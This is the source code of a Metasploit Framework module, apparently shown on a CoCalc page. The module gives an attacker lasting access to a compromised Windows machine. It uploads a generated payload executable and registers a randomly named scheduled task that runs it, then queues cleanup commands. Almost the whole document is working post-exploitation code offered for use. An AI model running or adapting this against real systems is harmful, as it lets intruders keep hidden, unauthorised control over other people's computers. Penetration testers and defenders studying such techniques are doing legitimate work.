Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/task_scheduler.rb
32071 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Local::Persistence
12
prepend Msf::Exploit::Remote::AutoCheck
13
include Msf::Post::Windows::TaskScheduler
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Windows Persistent Task Scheduler',
20
'Description' => %q{
21
This module establishes persistence by creating a scheduled task to run a payload.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'h00die' ],
25
'Platform' => [ 'win' ],
26
'Privileged' => true,
27
'SessionTypes' => [ 'meterpreter', 'shell' ],
28
'Targets' => [
29
[ 'Automatic', {} ]
30
],
31
'DefaultTarget' => 0,
32
'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
33
'References' => [
34
['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
35
['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
36
['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
37
],
38
'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
39
'Notes' => {
40
'Stability' => [CRASH_SAFE],
41
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
42
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
43
}
44
)
45
)
46
47
register_options(
48
[
49
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
50
OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
51
]
52
)
53
54
# not needed since this is not remote
55
deregister_options(
56
'ScheduleRemoteSystem',
57
'ScheduleUsername',
58
'SchedulePassword',
59
'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
60
)
61
end
62
63
def writable_dir
64
d = super
65
return session.sys.config.getenv(d) if d.start_with?('%')
66
67
d
68
end
69
70
def check
71
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
72
return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
73
74
begin
75
get_system_privs
76
rescue StandardError
77
return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
78
end
79
80
CheckCode::Appears('Likely exploitable')
81
end
82
83
def upload_payload(dest_pathname)
84
payload_exe = generate_payload_exe
85
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
86
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
87
end
88
89
def install_persistence
90
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
91
temp_path = writable_dir
92
payload_pathname = temp_path + '\\' + payload_name + '.exe'
93
upload_payload(payload_pathname)
94
95
task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
96
vprint_status("Creating task: #{task_name}")
97
begin
98
task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
99
rescue TaskSchedulerObfuscationError => e
100
print_warning(e.message)
101
print_good('Task created without obfuscation')
102
rescue TaskSchedulerError => e
103
fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
104
end
105
106
vprint_status("Starting task: #{task_name}")
107
task_start(task_name)
108
schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
109
@clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
110
@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
111
end
112
end
113
114